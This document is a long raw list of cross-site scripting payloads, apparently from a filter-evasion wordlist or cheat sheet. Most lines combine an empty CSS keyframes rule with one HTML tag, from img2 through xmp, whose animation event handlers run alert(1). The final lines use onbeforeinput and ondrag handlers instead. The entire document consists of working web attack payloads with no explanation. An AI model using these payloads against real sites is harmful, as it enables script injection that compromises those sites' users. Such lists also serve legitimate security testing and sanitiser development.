<style>@keyframes x{}</style><img2 style="animation-name:x" onanimationend="alert(1)"></img2>
<style>@keyframes x{}</style><img2 style="animation-name:x" onanimationstart="alert(1)"></img2>
<style>@keyframes x{}</style><img2 style="animation-name:x" onwebkitanimationend="alert(1)"></img2>
<style>@keyframes x{}</style><img2 style="animation-name:x" onwebkitanimationstart="alert(1)"></img2>
<style>@keyframes x{}</style><input style="animation-name:x" onanimationend="alert(1)"></input>
<style>@keyframes x{}</style><input style="animation-name:x" onanimationstart="alert(1)"></input>
<style>@keyframes x{}</style><input style="animation-name:x" onwebkitanimationend="alert(1)"></input>
<style>@keyframes x{}</style><input style="animation-name:x" onwebkitanimationstart="alert(1)"></input>
<style>@keyframes x{}</style><input2 style="animation-name:x" onanimationend="alert(1)"></input2>
<style>@keyframes x{}</style><input2 style="animation-name:x" onanimationstart="alert(1)"></input2>
<style>@keyframes x{}</style><input2 style="animation-name:x" onwebkitanimationend="alert(1)"></input2>
<style>@keyframes x{}</style><input2 style="animation-name:x" onwebkitanimationstart="alert(1)"></input2>
<style>@keyframes x{}</style><input3 style="animation-name:x" onanimationend="alert(1)"></input3>
<style>@keyframes x{}</style><input3 style="animation-name:x" onanimationstart="alert(1)"></input3>
<style>@keyframes x{}</style><input3 style="animation-name:x" onwebkitanimationend="alert(1)"></input3>
<style>@keyframes x{}</style><input3 style="animation-name:x" onwebkitanimationstart="alert(1)"></input3>
<style>@keyframes x{}</style><input4 style="animation-name:x" onanimationend="alert(1)"></input4>
<style>@keyframes x{}</style><input4 style="animation-name:x" onanimationstart="alert(1)"></input4>
<style>@keyframes x{}</style><input4 style="animation-name:x" onwebkitanimationend="alert(1)"></input4>
<style>@keyframes x{}</style><input4 style="animation-name:x" onwebkitanimationstart="alert(1)"></input4>
<style>@keyframes x{}</style><ins style="animation-name:x" onanimationend="alert(1)"></ins>
<style>@keyframes x{}</style><ins style="animation-name:x" onanimationstart="alert(1)"></ins>
<style>@keyframes x{}</style><ins style="animation-name:x" onwebkitanimationend="alert(1)"></ins>
<style>@keyframes x{}</style><ins style="animation-name:x" onwebkitanimationstart="alert(1)"></ins>
<style>@keyframes x{}</style><kbd style="animation-name:x" onanimationend="alert(1)"></kbd>
<style>@keyframes x{}</style><kbd style="animation-name:x" onanimationstart="alert(1)"></kbd>
<style>@keyframes x{}</style><kbd style="animation-name:x" onwebkitanimationend="alert(1)"></kbd>
<style>@keyframes x{}</style><kbd style="animation-name:x" onwebkitanimationstart="alert(1)"></kbd>
<style>@keyframes x{}</style><keygen style="animation-name:x" onanimationend="alert(1)"></keygen>
<style>@keyframes x{}</style><keygen style="animation-name:x" onanimationstart="alert(1)"></keygen>
<style>@keyframes x{}</style><keygen style="animation-name:x" onwebkitanimationend="alert(1)"></keygen>
<style>@keyframes x{}</style><keygen style="animation-name:x" onwebkitanimationstart="alert(1)"></keygen>
<style>@keyframes x{}</style><label style="animation-name:x" onanimationend="alert(1)"></label>
<style>@keyframes x{}</style><label style="animation-name:x" onanimationstart="alert(1)"></label>
<style>@keyframes x{}</style><label style="animation-name:x" onwebkitanimationend="alert(1)"></label>
<style>@keyframes x{}</style><label style="animation-name:x" onwebkitanimationstart="alert(1)"></label>
<style>@keyframes x{}</style><legend style="animation-name:x" onanimationend="alert(1)"></legend>
<style>@keyframes x{}</style><legend style="animation-name:x" onanimationstart="alert(1)"></legend>
<style>@keyframes x{}</style><legend style="animation-name:x" onwebkitanimationend="alert(1)"></legend>
<style>@keyframes x{}</style><legend style="animation-name:x" onwebkitanimationstart="alert(1)"></legend>
<style>@keyframes x{}</style><li style="animation-name:x" onanimationend="alert(1)"></li>
<style>@keyframes x{}</style><li style="animation-name:x" onanimationstart="alert(1)"></li>
<style>@keyframes x{}</style><li style="animation-name:x" onwebkitanimationend="alert(1)"></li>
<style>@keyframes x{}</style><li style="animation-name:x" onwebkitanimationstart="alert(1)"></li>
<style>@keyframes x{}</style><link style="animation-name:x" onanimationend="alert(1)"></link>
<style>@keyframes x{}</style><link style="animation-name:x" onanimationstart="alert(1)"></link>
<style>@keyframes x{}</style><link style="animation-name:x" onwebkitanimationend="alert(1)"></link>
<style>@keyframes x{}</style><link style="animation-name:x" onwebkitanimationstart="alert(1)"></link>
<style>@keyframes x{}</style><listing style="animation-name:x" onanimationend="alert(1)"></listing>
<style>@keyframes x{}</style><listing style="animation-name:x" onanimationstart="alert(1)"></listing>
<style>@keyframes x{}</style><listing style="animation-name:x" onwebkitanimationend="alert(1)"></listing>
<style>@keyframes x{}</style><listing style="animation-name:x" onwebkitanimationstart="alert(1)"></listing>
<style>@keyframes x{}</style><main style="animation-name:x" onanimationend="alert(1)"></main>
<style>@keyframes x{}</style><main style="animation-name:x" onanimationstart="alert(1)"></main>
<style>@keyframes x{}</style><main style="animation-name:x" onwebkitanimationend="alert(1)"></main>
<style>@keyframes x{}</style><main style="animation-name:x" onwebkitanimationstart="alert(1)"></main>
<style>@keyframes x{}</style><map style="animation-name:x" onanimationend="alert(1)"></map>
<style>@keyframes x{}</style><map style="animation-name:x" onanimationstart="alert(1)"></map>
<style>@keyframes x{}</style><map style="animation-name:x" onwebkitanimationend="alert(1)"></map>
<style>@keyframes x{}</style><map style="animation-name:x" onwebkitanimationstart="alert(1)"></map>
<style>@keyframes x{}</style><mark style="animation-name:x" onanimationend="alert(1)"></mark>
<style>@keyframes x{}</style><mark style="animation-name:x" onanimationstart="alert(1)"></mark>
<style>@keyframes x{}</style><mark style="animation-name:x" onwebkitanimationend="alert(1)"></mark>
<style>@keyframes x{}</style><mark style="animation-name:x" onwebkitanimationstart="alert(1)"></mark>
<style>@keyframes x{}</style><marquee style="animation-name:x" onanimationend="alert(1)"></marquee>
<style>@keyframes x{}</style><marquee style="animation-name:x" onanimationstart="alert(1)"></marquee>
<style>@keyframes x{}</style><marquee style="animation-name:x" onwebkitanimationend="alert(1)"></marquee>
<style>@keyframes x{}</style><marquee style="animation-name:x" onwebkitanimationstart="alert(1)"></marquee>
<style>@keyframes x{}</style><menu style="animation-name:x" onanimationend="alert(1)"></menu>
<style>@keyframes x{}</style><menu style="animation-name:x" onanimationstart="alert(1)"></menu>
<style>@keyframes x{}</style><menu style="animation-name:x" onwebkitanimationend="alert(1)"></menu>
<style>@keyframes x{}</style><menu style="animation-name:x" onwebkitanimationstart="alert(1)"></menu>
<style>@keyframes x{}</style><menuitem style="animation-name:x" onanimationend="alert(1)"></menuitem>
<style>@keyframes x{}</style><menuitem style="animation-name:x" onanimationstart="alert(1)"></menuitem>
<style>@keyframes x{}</style><menuitem style="animation-name:x" onwebkitanimationend="alert(1)"></menuitem>
<style>@keyframes x{}</style><menuitem style="animation-name:x" onwebkitanimationstart="alert(1)"></menuitem>
<style>@keyframes x{}</style><meta style="animation-name:x" onanimationend="alert(1)"></meta>
<style>@keyframes x{}</style><meta style="animation-name:x" onanimationstart="alert(1)"></meta>
<style>@keyframes x{}</style><meta style="animation-name:x" onwebkitanimationend="alert(1)"></meta>
<style>@keyframes x{}</style><meta style="animation-name:x" onwebkitanimationstart="alert(1)"></meta>
<style>@keyframes x{}</style><meter style="animation-name:x" onanimationend="alert(1)"></meter>
<style>@keyframes x{}</style><meter style="animation-name:x" onanimationstart="alert(1)"></meter>
<style>@keyframes x{}</style><meter style="animation-name:x" onwebkitanimationend="alert(1)"></meter>
<style>@keyframes x{}</style><meter style="animation-name:x" onwebkitanimationstart="alert(1)"></meter>
<style>@keyframes x{}</style><multicol style="animation-name:x" onanimationend="alert(1)"></multicol>
<style>@keyframes x{}</style><multicol style="animation-name:x" onanimationstart="alert(1)"></multicol>
<style>@keyframes x{}</style><multicol style="animation-name:x" onwebkitanimationend="alert(1)"></multicol>
<style>@keyframes x{}</style><multicol style="animation-name:x" onwebkitanimationstart="alert(1)"></multicol>
<style>@keyframes x{}</style><nav style="animation-name:x" onanimationend="alert(1)"></nav>
<style>@keyframes x{}</style><nav style="animation-name:x" onanimationstart="alert(1)"></nav>
<style>@keyframes x{}</style><nav style="animation-name:x" onwebkitanimationend="alert(1)"></nav>
<style>@keyframes x{}</style><nav style="animation-name:x" onwebkitanimationstart="alert(1)"></nav>
<style>@keyframes x{}</style><nextid style="animation-name:x" onanimationend="alert(1)"></nextid>
<style>@keyframes x{}</style><nextid style="animation-name:x" onanimationstart="alert(1)"></nextid>
<style>@keyframes x{}</style><nextid style="animation-name:x" onwebkitanimationend="alert(1)"></nextid>
<style>@keyframes x{}</style><nextid style="animation-name:x" onwebkitanimationstart="alert(1)"></nextid>
<style>@keyframes x{}</style><nobr style="animation-name:x" onanimationend="alert(1)"></nobr>
<style>@keyframes x{}</style><nobr style="animation-name:x" onanimationstart="alert(1)"></nobr>
<style>@keyframes x{}</style><nobr style="animation-name:x" onwebkitanimationend="alert(1)"></nobr>
<style>@keyframes x{}</style><nobr style="animation-name:x" onwebkitanimationstart="alert(1)"></nobr>
<style>@keyframes x{}</style><noembed style="animation-name:x" onanimationend="alert(1)"></noembed>
<style>@keyframes x{}</style><noembed style="animation-name:x" onanimationstart="alert(1)"></noembed>
<style>@keyframes x{}</style><noembed style="animation-name:x" onwebkitanimationend="alert(1)"></noembed>
<style>@keyframes x{}</style><noembed style="animation-name:x" onwebkitanimationstart="alert(1)"></noembed>
<style>@keyframes x{}</style><noframes style="animation-name:x" onanimationend="alert(1)"></noframes>
<style>@keyframes x{}</style><noframes style="animation-name:x" onanimationstart="alert(1)"></noframes>
<style>@keyframes x{}</style><noframes style="animation-name:x" onwebkitanimationend="alert(1)"></noframes>
<style>@keyframes x{}</style><noframes style="animation-name:x" onwebkitanimationstart="alert(1)"></noframes>
<style>@keyframes x{}</style><noscript style="animation-name:x" onanimationend="alert(1)"></noscript>
<style>@keyframes x{}</style><noscript style="animation-name:x" onanimationstart="alert(1)"></noscript>
<style>@keyframes x{}</style><noscript style="animation-name:x" onwebkitanimationend="alert(1)"></noscript>
<style>@keyframes x{}</style><noscript style="animation-name:x" onwebkitanimationstart="alert(1)"></noscript>
<style>@keyframes x{}</style><object style="animation-name:x" onanimationend="alert(1)"></object>
<style>@keyframes x{}</style><object style="animation-name:x" onanimationstart="alert(1)"></object>
<style>@keyframes x{}</style><object style="animation-name:x" onwebkitanimationend="alert(1)"></object>
<style>@keyframes x{}</style><object style="animation-name:x" onwebkitanimationstart="alert(1)"></object>
<style>@keyframes x{}</style><ol style="animation-name:x" onanimationend="alert(1)"></ol>
<style>@keyframes x{}</style><ol style="animation-name:x" onanimationstart="alert(1)"></ol>
<style>@keyframes x{}</style><ol style="animation-name:x" onwebkitanimationend="alert(1)"></ol>
<style>@keyframes x{}</style><ol style="animation-name:x" onwebkitanimationstart="alert(1)"></ol>
<style>@keyframes x{}</style><optgroup style="animation-name:x" onanimationend="alert(1)"></optgroup>
<style>@keyframes x{}</style><optgroup style="animation-name:x" onanimationstart="alert(1)"></optgroup>
<style>@keyframes x{}</style><optgroup style="animation-name:x" onwebkitanimationend="alert(1)"></optgroup>
<style>@keyframes x{}</style><optgroup style="animation-name:x" onwebkitanimationstart="alert(1)"></optgroup>
<style>@keyframes x{}</style><option style="animation-name:x" onanimationend="alert(1)"></option>
<style>@keyframes x{}</style><option style="animation-name:x" onanimationstart="alert(1)"></option>
<style>@keyframes x{}</style><option style="animation-name:x" onwebkitanimationend="alert(1)"></option>
<style>@keyframes x{}</style><option style="animation-name:x" onwebkitanimationstart="alert(1)"></option>
<style>@keyframes x{}</style><output style="animation-name:x" onanimationend="alert(1)"></output>
<style>@keyframes x{}</style><output style="animation-name:x" onanimationstart="alert(1)"></output>
<style>@keyframes x{}</style><output style="animation-name:x" onwebkitanimationend="alert(1)"></output>
<style>@keyframes x{}</style><output style="animation-name:x" onwebkitanimationstart="alert(1)"></output>
<style>@keyframes x{}</style><p style="animation-name:x" onanimationend="alert(1)"></p>
<style>@keyframes x{}</style><p style="animation-name:x" onanimationstart="alert(1)"></p>
<style>@keyframes x{}</style><p style="animation-name:x" onwebkitanimationend="alert(1)"></p>
<style>@keyframes x{}</style><p style="animation-name:x" onwebkitanimationstart="alert(1)"></p>
<style>@keyframes x{}</style><param style="animation-name:x" onanimationend="alert(1)"></param>
<style>@keyframes x{}</style><param style="animation-name:x" onanimationstart="alert(1)"></param>
<style>@keyframes x{}</style><param style="animation-name:x" onwebkitanimationend="alert(1)"></param>
<style>@keyframes x{}</style><param style="animation-name:x" onwebkitanimationstart="alert(1)"></param>
<style>@keyframes x{}</style><picture style="animation-name:x" onanimationend="alert(1)"></picture>
<style>@keyframes x{}</style><picture style="animation-name:x" onanimationstart="alert(1)"></picture>
<style>@keyframes x{}</style><picture style="animation-name:x" onwebkitanimationend="alert(1)"></picture>
<style>@keyframes x{}</style><picture style="animation-name:x" onwebkitanimationstart="alert(1)"></picture>
<style>@keyframes x{}</style><plaintext style="animation-name:x" onanimationend="alert(1)"></plaintext>
<style>@keyframes x{}</style><plaintext style="animation-name:x" onanimationstart="alert(1)"></plaintext>
<style>@keyframes x{}</style><plaintext style="animation-name:x" onwebkitanimationend="alert(1)"></plaintext>
<style>@keyframes x{}</style><plaintext style="animation-name:x" onwebkitanimationstart="alert(1)"></plaintext>
<style>@keyframes x{}</style><pre style="animation-name:x" onanimationend="alert(1)"></pre>
<style>@keyframes x{}</style><pre style="animation-name:x" onanimationstart="alert(1)"></pre>
<style>@keyframes x{}</style><pre style="animation-name:x" onwebkitanimationend="alert(1)"></pre>
<style>@keyframes x{}</style><pre style="animation-name:x" onwebkitanimationstart="alert(1)"></pre>
<style>@keyframes x{}</style><progress style="animation-name:x" onanimationend="alert(1)"></progress>
<style>@keyframes x{}</style><progress style="animation-name:x" onanimationstart="alert(1)"></progress>
<style>@keyframes x{}</style><progress style="animation-name:x" onwebkitanimationend="alert(1)"></progress>
<style>@keyframes x{}</style><progress style="animation-name:x" onwebkitanimationstart="alert(1)"></progress>
<style>@keyframes x{}</style><q style="animation-name:x" onanimationend="alert(1)"></q>
<style>@keyframes x{}</style><q style="animation-name:x" onanimationstart="alert(1)"></q>
<style>@keyframes x{}</style><q style="animation-name:x" onwebkitanimationend="alert(1)"></q>
<style>@keyframes x{}</style><q style="animation-name:x" onwebkitanimationstart="alert(1)"></q>
<style>@keyframes x{}</style><rb style="animation-name:x" onanimationend="alert(1)"></rb>
<style>@keyframes x{}</style><rb style="animation-name:x" onanimationstart="alert(1)"></rb>
<style>@keyframes x{}</style><rb style="animation-name:x" onwebkitanimationend="alert(1)"></rb>
<style>@keyframes x{}</style><rb style="animation-name:x" onwebkitanimationstart="alert(1)"></rb>
<style>@keyframes x{}</style><rp style="animation-name:x" onanimationend="alert(1)"></rp>
<style>@keyframes x{}</style><rp style="animation-name:x" onanimationstart="alert(1)"></rp>
<style>@keyframes x{}</style><rp style="animation-name:x" onwebkitanimationend="alert(1)"></rp>
<style>@keyframes x{}</style><rp style="animation-name:x" onwebkitanimationstart="alert(1)"></rp>
<style>@keyframes x{}</style><rt style="animation-name:x" onanimationend="alert(1)"></rt>
<style>@keyframes x{}</style><rt style="animation-name:x" onanimationstart="alert(1)"></rt>
<style>@keyframes x{}</style><rt style="animation-name:x" onwebkitanimationend="alert(1)"></rt>
<style>@keyframes x{}</style><rt style="animation-name:x" onwebkitanimationstart="alert(1)"></rt>
<style>@keyframes x{}</style><rtc style="animation-name:x" onanimationend="alert(1)"></rtc>
<style>@keyframes x{}</style><rtc style="animation-name:x" onanimationstart="alert(1)"></rtc>
<style>@keyframes x{}</style><rtc style="animation-name:x" onwebkitanimationend="alert(1)"></rtc>
<style>@keyframes x{}</style><rtc style="animation-name:x" onwebkitanimationstart="alert(1)"></rtc>
<style>@keyframes x{}</style><ruby style="animation-name:x" onanimationend="alert(1)"></ruby>
<style>@keyframes x{}</style><ruby style="animation-name:x" onanimationstart="alert(1)"></ruby>
<style>@keyframes x{}</style><ruby style="animation-name:x" onwebkitanimationend="alert(1)"></ruby>
<style>@keyframes x{}</style><ruby style="animation-name:x" onwebkitanimationstart="alert(1)"></ruby>
<style>@keyframes x{}</style><s style="animation-name:x" onanimationend="alert(1)"></s>
<style>@keyframes x{}</style><s style="animation-name:x" onanimationstart="alert(1)"></s>
<style>@keyframes x{}</style><s style="animation-name:x" onwebkitanimationend="alert(1)"></s>
<style>@keyframes x{}</style><s style="animation-name:x" onwebkitanimationstart="alert(1)"></s>
<style>@keyframes x{}</style><samp style="animation-name:x" onanimationend="alert(1)"></samp>
<style>@keyframes x{}</style><samp style="animation-name:x" onanimationstart="alert(1)"></samp>
<style>@keyframes x{}</style><samp style="animation-name:x" onwebkitanimationend="alert(1)"></samp>
<style>@keyframes x{}</style><samp style="animation-name:x" onwebkitanimationstart="alert(1)"></samp>
<style>@keyframes x{}</style><script style="animation-name:x" onanimationend="alert(1)"></script>
<style>@keyframes x{}</style><script style="animation-name:x" onanimationstart="alert(1)"></script>
<style>@keyframes x{}</style><script style="animation-name:x" onwebkitanimationend="alert(1)"></script>
<style>@keyframes x{}</style><script style="animation-name:x" onwebkitanimationstart="alert(1)"></script>
<style>@keyframes x{}</style><section style="animation-name:x" onanimationend="alert(1)"></section>
<style>@keyframes x{}</style><section style="animation-name:x" onanimationstart="alert(1)"></section>
<style>@keyframes x{}</style><section style="animation-name:x" onwebkitanimationend="alert(1)"></section>
<style>@keyframes x{}</style><section style="animation-name:x" onwebkitanimationstart="alert(1)"></section>
<style>@keyframes x{}</style><select style="animation-name:x" onanimationend="alert(1)"></select>
<style>@keyframes x{}</style><select style="animation-name:x" onanimationstart="alert(1)"></select>
<style>@keyframes x{}</style><select style="animation-name:x" onwebkitanimationend="alert(1)"></select>
<style>@keyframes x{}</style><select style="animation-name:x" onwebkitanimationstart="alert(1)"></select>
<style>@keyframes x{}</style><set style="animation-name:x" onanimationend="alert(1)"></set>
<style>@keyframes x{}</style><set style="animation-name:x" onanimationstart="alert(1)"></set>
<style>@keyframes x{}</style><set style="animation-name:x" onwebkitanimationend="alert(1)"></set>
<style>@keyframes x{}</style><set style="animation-name:x" onwebkitanimationstart="alert(1)"></set>
<style>@keyframes x{}</style><shadow style="animation-name:x" onanimationend="alert(1)"></shadow>
<style>@keyframes x{}</style><shadow style="animation-name:x" onanimationstart="alert(1)"></shadow>
<style>@keyframes x{}</style><shadow style="animation-name:x" onwebkitanimationend="alert(1)"></shadow>
<style>@keyframes x{}</style><shadow style="animation-name:x" onwebkitanimationstart="alert(1)"></shadow>
<style>@keyframes x{}</style><slot style="animation-name:x" onanimationend="alert(1)"></slot>
<style>@keyframes x{}</style><slot style="animation-name:x" onanimationstart="alert(1)"></slot>
<style>@keyframes x{}</style><slot style="animation-name:x" onwebkitanimationend="alert(1)"></slot>
<style>@keyframes x{}</style><slot style="animation-name:x" onwebkitanimationstart="alert(1)"></slot>
<style>@keyframes x{}</style><small style="animation-name:x" onanimationend="alert(1)"></small>
<style>@keyframes x{}</style><small style="animation-name:x" onanimationstart="alert(1)"></small>
<style>@keyframes x{}</style><small style="animation-name:x" onwebkitanimationend="alert(1)"></small>
<style>@keyframes x{}</style><small style="animation-name:x" onwebkitanimationstart="alert(1)"></small>
<style>@keyframes x{}</style><source style="animation-name:x" onanimationend="alert(1)"></source>
<style>@keyframes x{}</style><source style="animation-name:x" onanimationstart="alert(1)"></source>
<style>@keyframes x{}</style><source style="animation-name:x" onwebkitanimationend="alert(1)"></source>
<style>@keyframes x{}</style><source style="animation-name:x" onwebkitanimationstart="alert(1)"></source>
<style>@keyframes x{}</style><spacer style="animation-name:x" onanimationend="alert(1)"></spacer>
<style>@keyframes x{}</style><spacer style="animation-name:x" onanimationstart="alert(1)"></spacer>
<style>@keyframes x{}</style><spacer style="animation-name:x" onwebkitanimationend="alert(1)"></spacer>
<style>@keyframes x{}</style><spacer style="animation-name:x" onwebkitanimationstart="alert(1)"></spacer>
<style>@keyframes x{}</style><span style="animation-name:x" onanimationend="alert(1)"></span>
<style>@keyframes x{}</style><span style="animation-name:x" onanimationstart="alert(1)"></span>
<style>@keyframes x{}</style><span style="animation-name:x" onwebkitanimationend="alert(1)"></span>
<style>@keyframes x{}</style><span style="animation-name:x" onwebkitanimationstart="alert(1)"></span>
<style>@keyframes x{}</style><strike style="animation-name:x" onanimationend="alert(1)"></strike>
<style>@keyframes x{}</style><strike style="animation-name:x" onanimationstart="alert(1)"></strike>
<style>@keyframes x{}</style><strike style="animation-name:x" onwebkitanimationend="alert(1)"></strike>
<style>@keyframes x{}</style><strike style="animation-name:x" onwebkitanimationstart="alert(1)"></strike>
<style>@keyframes x{}</style><strong style="animation-name:x" onanimationend="alert(1)"></strong>
<style>@keyframes x{}</style><strong style="animation-name:x" onanimationstart="alert(1)"></strong>
<style>@keyframes x{}</style><strong style="animation-name:x" onwebkitanimationend="alert(1)"></strong>
<style>@keyframes x{}</style><strong style="animation-name:x" onwebkitanimationstart="alert(1)"></strong>
<style>@keyframes x{}</style><style style="animation-name:x" onanimationend="alert(1)"></style>
<style>@keyframes x{}</style><style style="animation-name:x" onanimationstart="alert(1)"></style>
<style>@keyframes x{}</style><style style="animation-name:x" onwebkitanimationend="alert(1)"></style>
<style>@keyframes x{}</style><style style="animation-name:x" onwebkitanimationstart="alert(1)"></style>
<style>@keyframes x{}</style><sub style="animation-name:x" onanimationend="alert(1)"></sub>
<style>@keyframes x{}</style><sub style="animation-name:x" onanimationstart="alert(1)"></sub>
<style>@keyframes x{}</style><sub style="animation-name:x" onwebkitanimationend="alert(1)"></sub>
<style>@keyframes x{}</style><sub style="animation-name:x" onwebkitanimationstart="alert(1)"></sub>
<style>@keyframes x{}</style><summary style="animation-name:x" onanimationend="alert(1)"></summary>
<style>@keyframes x{}</style><summary style="animation-name:x" onanimationstart="alert(1)"></summary>
<style>@keyframes x{}</style><summary style="animation-name:x" onwebkitanimationend="alert(1)"></summary>
<style>@keyframes x{}</style><summary style="animation-name:x" onwebkitanimationstart="alert(1)"></summary>
<style>@keyframes x{}</style><sup style="animation-name:x" onanimationend="alert(1)"></sup>
<style>@keyframes x{}</style><sup style="animation-name:x" onanimationstart="alert(1)"></sup>
<style>@keyframes x{}</style><sup style="animation-name:x" onwebkitanimationend="alert(1)"></sup>
<style>@keyframes x{}</style><sup style="animation-name:x" onwebkitanimationstart="alert(1)"></sup>
<style>@keyframes x{}</style><svg style="animation-name:x" onanimationend="alert(1)"></svg>
<style>@keyframes x{}</style><svg style="animation-name:x" onanimationstart="alert(1)"></svg>
<style>@keyframes x{}</style><svg style="animation-name:x" onwebkitanimationend="alert(1)"></svg>
<style>@keyframes x{}</style><svg style="animation-name:x" onwebkitanimationstart="alert(1)"></svg>
<style>@keyframes x{}</style><table style="animation-name:x" onanimationend="alert(1)"></table>
<style>@keyframes x{}</style><table style="animation-name:x" onanimationstart="alert(1)"></table>
<style>@keyframes x{}</style><table style="animation-name:x" onwebkitanimationend="alert(1)"></table>
<style>@keyframes x{}</style><table style="animation-name:x" onwebkitanimationstart="alert(1)"></table>
<style>@keyframes x{}</style><tbody style="animation-name:x" onanimationend="alert(1)"></tbody>
<style>@keyframes x{}</style><tbody style="animation-name:x" onanimationstart="alert(1)"></tbody>
<style>@keyframes x{}</style><tbody style="animation-name:x" onwebkitanimationend="alert(1)"></tbody>
<style>@keyframes x{}</style><tbody style="animation-name:x" onwebkitanimationstart="alert(1)"></tbody>
<style>@keyframes x{}</style><td style="animation-name:x" onanimationend="alert(1)"></td>
<style>@keyframes x{}</style><td style="animation-name:x" onanimationstart="alert(1)"></td>
<style>@keyframes x{}</style><td style="animation-name:x" onwebkitanimationend="alert(1)"></td>
<style>@keyframes x{}</style><td style="animation-name:x" onwebkitanimationstart="alert(1)"></td>
<style>@keyframes x{}</style><template style="animation-name:x" onanimationend="alert(1)"></template>
<style>@keyframes x{}</style><template style="animation-name:x" onanimationstart="alert(1)"></template>
<style>@keyframes x{}</style><template style="animation-name:x" onwebkitanimationend="alert(1)"></template>
<style>@keyframes x{}</style><template style="animation-name:x" onwebkitanimationstart="alert(1)"></template>
<style>@keyframes x{}</style><textarea style="animation-name:x" onanimationend="alert(1)"></textarea>
<style>@keyframes x{}</style><textarea style="animation-name:x" onanimationstart="alert(1)"></textarea>
<style>@keyframes x{}</style><textarea style="animation-name:x" onwebkitanimationend="alert(1)"></textarea>
<style>@keyframes x{}</style><textarea style="animation-name:x" onwebkitanimationstart="alert(1)"></textarea>
<style>@keyframes x{}</style><tfoot style="animation-name:x" onanimationend="alert(1)"></tfoot>
<style>@keyframes x{}</style><tfoot style="animation-name:x" onanimationstart="alert(1)"></tfoot>
<style>@keyframes x{}</style><tfoot style="animation-name:x" onwebkitanimationend="alert(1)"></tfoot>
<style>@keyframes x{}</style><tfoot style="animation-name:x" onwebkitanimationstart="alert(1)"></tfoot>
<style>@keyframes x{}</style><th style="animation-name:x" onanimationend="alert(1)"></th>
<style>@keyframes x{}</style><th style="animation-name:x" onanimationstart="alert(1)"></th>
<style>@keyframes x{}</style><th style="animation-name:x" onwebkitanimationend="alert(1)"></th>
<style>@keyframes x{}</style><th style="animation-name:x" onwebkitanimationstart="alert(1)"></th>
<style>@keyframes x{}</style><thead style="animation-name:x" onanimationend="alert(1)"></thead>
<style>@keyframes x{}</style><thead style="animation-name:x" onanimationstart="alert(1)"></thead>
<style>@keyframes x{}</style><thead style="animation-name:x" onwebkitanimationend="alert(1)"></thead>
<style>@keyframes x{}</style><thead style="animation-name:x" onwebkitanimationstart="alert(1)"></thead>
<style>@keyframes x{}</style><time style="animation-name:x" onanimationend="alert(1)"></time>
<style>@keyframes x{}</style><time style="animation-name:x" onanimationstart="alert(1)"></time>
<style>@keyframes x{}</style><time style="animation-name:x" onwebkitanimationend="alert(1)"></time>
<style>@keyframes x{}</style><time style="animation-name:x" onwebkitanimationstart="alert(1)"></time>
<style>@keyframes x{}</style><title style="animation-name:x" onanimationend="alert(1)"></title>
<style>@keyframes x{}</style><title style="animation-name:x" onanimationstart="alert(1)"></title>
<style>@keyframes x{}</style><title style="animation-name:x" onwebkitanimationend="alert(1)"></title>
<style>@keyframes x{}</style><title style="animation-name:x" onwebkitanimationstart="alert(1)"></title>
<style>@keyframes x{}</style><tr style="animation-name:x" onanimationend="alert(1)"></tr>
<style>@keyframes x{}</style><tr style="animation-name:x" onanimationstart="alert(1)"></tr>
<style>@keyframes x{}</style><tr style="animation-name:x" onwebkitanimationend="alert(1)"></tr>
<style>@keyframes x{}</style><tr style="animation-name:x" onwebkitanimationstart="alert(1)"></tr>
<style>@keyframes x{}</style><track style="animation-name:x" onanimationend="alert(1)"></track>
<style>@keyframes x{}</style><track style="animation-name:x" onanimationstart="alert(1)"></track>
<style>@keyframes x{}</style><track style="animation-name:x" onwebkitanimationend="alert(1)"></track>
<style>@keyframes x{}</style><track style="animation-name:x" onwebkitanimationstart="alert(1)"></track>
<style>@keyframes x{}</style><tt style="animation-name:x" onanimationend="alert(1)"></tt>
<style>@keyframes x{}</style><tt style="animation-name:x" onanimationstart="alert(1)"></tt>
<style>@keyframes x{}</style><tt style="animation-name:x" onwebkitanimationend="alert(1)"></tt>
<style>@keyframes x{}</style><tt style="animation-name:x" onwebkitanimationstart="alert(1)"></tt>
<style>@keyframes x{}</style><u style="animation-name:x" onanimationend="alert(1)"></u>
<style>@keyframes x{}</style><u style="animation-name:x" onanimationstart="alert(1)"></u>
<style>@keyframes x{}</style><u style="animation-name:x" onwebkitanimationend="alert(1)"></u>
<style>@keyframes x{}</style><u style="animation-name:x" onwebkitanimationstart="alert(1)"></u>
<style>@keyframes x{}</style><ul style="animation-name:x" onanimationend="alert(1)"></ul>
<style>@keyframes x{}</style><ul style="animation-name:x" onanimationstart="alert(1)"></ul>
<style>@keyframes x{}</style><ul style="animation-name:x" onwebkitanimationend="alert(1)"></ul>
<style>@keyframes x{}</style><ul style="animation-name:x" onwebkitanimationstart="alert(1)"></ul>
<style>@keyframes x{}</style><var style="animation-name:x" onanimationend="alert(1)"></var>
<style>@keyframes x{}</style><var style="animation-name:x" onanimationstart="alert(1)"></var>
<style>@keyframes x{}</style><var style="animation-name:x" onwebkitanimationend="alert(1)"></var>
<style>@keyframes x{}</style><var style="animation-name:x" onwebkitanimationstart="alert(1)"></var>
<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="alert(1)"></video>
<style>@keyframes x{}</style><video style="animation-name:x" onanimationstart="alert(1)"></video>
<style>@keyframes x{}</style><video style="animation-name:x" onwebkitanimationend="alert(1)"></video>
<style>@keyframes x{}</style><video style="animation-name:x" onwebkitanimationstart="alert(1)"></video>
<style>@keyframes x{}</style><video2 style="animation-name:x" onanimationend="alert(1)"></video2>
<style>@keyframes x{}</style><video2 style="animation-name:x" onanimationstart="alert(1)"></video2>
<style>@keyframes x{}</style><video2 style="animation-name:x" onwebkitanimationend="alert(1)"></video2>
<style>@keyframes x{}</style><video2 style="animation-name:x" onwebkitanimationstart="alert(1)"></video2>
<style>@keyframes x{}</style><wbr style="animation-name:x" onanimationend="alert(1)"></wbr>
<style>@keyframes x{}</style><wbr style="animation-name:x" onanimationstart="alert(1)"></wbr>
<style>@keyframes x{}</style><wbr style="animation-name:x" onwebkitanimationend="alert(1)"></wbr>
<style>@keyframes x{}</style><wbr style="animation-name:x" onwebkitanimationstart="alert(1)"></wbr>
<style>@keyframes x{}</style><xmp style="animation-name:x" onanimationend="alert(1)"></xmp>
<style>@keyframes x{}</style><xmp style="animation-name:x" onanimationstart="alert(1)"></xmp>
<style>@keyframes x{}</style><xmp style="animation-name:x" onwebkitanimationend="alert(1)"></xmp>
<style>@keyframes x{}</style><xmp style="animation-name:x" onwebkitanimationstart="alert(1)"></xmp>
<sub contenteditable onbeforeinput=alert(1)>test
<sub draggable="true" ondrag="alert(1)" style=display:block>test</sub>
